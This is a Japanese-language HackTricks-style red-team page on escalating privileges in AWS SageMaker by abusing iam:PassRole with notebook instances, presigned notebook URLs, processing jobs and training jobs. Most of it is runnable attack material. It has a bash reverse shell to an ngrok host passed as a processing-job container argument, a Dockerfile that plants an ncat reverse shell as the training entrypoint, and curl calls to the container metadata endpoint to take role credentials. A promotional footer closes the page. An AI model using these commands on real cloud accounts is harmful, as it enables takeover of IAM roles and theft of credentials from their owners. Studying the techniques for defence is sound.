AWS - Sagemaker Privesc

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAMロールにアクセス権が付与されたノートブックを作成し始めます:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

以下は、新しく作成されたノートブックインスタンスのARNを含むNotebookInstanceArnフィールドを含む必要があります。その後、create-presigned-notebook-instance-url APIを使用して、準備ができたらノートブックインスタンスにアクセスするために使用できるURLを生成できます:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

ナビゲーションバーでURLに移動し、右上の「Open JupyterLab」をクリックし、次に「ランチャー」タブにスクロールして、「その他」セクションの下にある「Terminal」ボタンをクリックします。

これでIAMロールのメタデータ資格情報にアクセスできる可能性があります。

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreatePresignedNotebookInstanceUrl

すでにJupyter ノートブックが実行中である場合、sagemaker:ListNotebookInstancesを使用してそれらをリストアップできます(または他の方法でそれらを発見できます)。それらのためのURLを生成し、アクセスし、前述のテクニックで資格情報を盗むことができます

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

潜在的影響: sagemaker サービスロールへの権限昇格。

sagemaker:CreateProcessingJob,iam:PassRole

これらの権限を持つ攻撃者は、sagemaker がアタッチされた sagemaker ロールで処理ジョブを実行することができます。攻撃者は、実行されるコンテナの定義を示し、AWS 管理の ECS アカウントインスタンスで実行される可能性があり、アタッチされた IAM ロールの資格情報を盗むことができます。

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

潜在的影響: 指定されたSagemakerサービスロールへの権限昇格。

sagemaker:CreateTrainingJob, iam:PassRole

これらの権限を持つ攻撃者は、トレーニングジョブを作成し、それにアタッチされたロールを持つ任意のコンテナを実行できます。したがって、攻撃者はそのロールの資格情報を盗むことができます。

このシナリオは前のものよりも難しいため、トレーニングジョブの構成で開始コマンドを指定できないため、Dockerイメージを生成して、revシェルまたは資格情報を直接攻撃者に送信する必要があります。

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

これらの権限を持つ攻撃者は、**ハイパーパラメータチューニングジョブ**を作成し、それに**アタッチされたロール**で**任意のコンテナを実行**することができる可能性があります。\
_時間の不足のため未だ悪用していませんが、以前の脆弱性と似ているように見えます。悪用の詳細を送信してください。_

# 参考文献
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。**
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。

</details>

最終更新